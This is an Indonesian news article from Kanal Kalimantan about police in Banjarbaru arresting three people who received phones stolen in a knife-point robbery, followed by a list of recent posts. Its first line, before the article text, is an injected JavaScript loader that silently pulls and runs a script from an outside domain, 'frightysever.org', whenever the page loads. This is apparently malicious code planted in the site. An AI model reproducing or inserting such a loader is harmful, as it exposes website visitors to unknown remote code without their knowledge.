(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Tiga Penadah Ditangkap, Susul Dua Begal Perkantoran Gubernur yang Diamankan


KANALKALIMANTAN.COM, BANJARBARU – Setelah penangkapan dua pelaku begal yang beraksi di kawasan perkantoran Sekda Provinsi Kalimantan Selatan, polisi kembali mengamankan tiga orang penadah barang curian dari aksi begal tersebut.

Penangkapan ketiga pelaku penadah ini, merupakan buah hasil dari keterangan yang diberikan oleh para pelaku begal yang sebelumnya telah diamankan.

“Dari keterangan yang kita dapatkan, pada Kamis (9/1/2020) dini hari, kita bergerak cepat untuk mengamankan 3 pelaku penadah di lokasi yang berbeda,” kata Kapolsek Banjarbaru Timur AKP Debi.

Adapun ketiga pelaku penadah ini, ialah MF (25), ditangkap di jalan PM Noor, kota Banjarbaru. Kemudian, polisi menangkap NR (26) di jalan Mistar Cokrokusumo, Kecamatan Cempaka, dan AK (28) ditangkap di Desa Sungai Arpat, Kabupaten Banjar.

“Dari tangan mereka, kami menemukan barang curian berupa HP milik korban. Barung bukti ini diberikan kepada masing-masing penadah untuk membayar utang para pelaku begal,” ucap Kapolsek.

Sementara itu, Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati mengatakan, diantara ketiga pelaku ini, salah satunya merupakan seorang perempuan yakni NR. Ia juga mengatakan untuk penadah sepeda motor, pihaknya telah mengantongi identitas pelaku dan saat ini tengah dilakukan pengejaran oleh petugas di lapangan.

“Untuk ketiga pelaku ini akan kami jerat dengan pasal 480 KUHP tentang tindak pidana pertolongan jahat (tadah) dengan ancaman hukuman paling lama 4 tahun penjara,” tambahnya.

Baca Juga : Todongkan Pisau ke Leher Korbannya, Dua Pelaku Begal di Banjarbaru Diringkus

Sepertinya yang sudah diwartakan Kanalkalimantan.com, Unit Buser Satreskim Polres Banjarbaru dan Polsek Banjarbaru Timur sebelumnya telah menangkap kedua pelaku begal yakni, Edy Nuryanto alias Usro (39) dan Depit Priyanto alias Depit (25), pada Rabu (8/1/2020) malam sekitar pukul 23.00 wita.

Keduanya diamankan di rumah mereka masing-masing. Aksi begal ini terjadi pada akhir Desember lalu, di kawasan kantor Sekda Prov Kalsel, Banjarbaru. Korban yang saat itu sedang duduk bersama temannya, didatangi oleh Usro dan Depit yang langsung merampas handphone serta dompet milik mereka.

Tidak hanya itu, pelaku juga menodongkan senjata tajam (sajam) ke arah leher korban agar dapat merampas motor korban. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

35 menit ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

4 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

5 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

5 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

6 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

8 jam ago

This website uses cookies.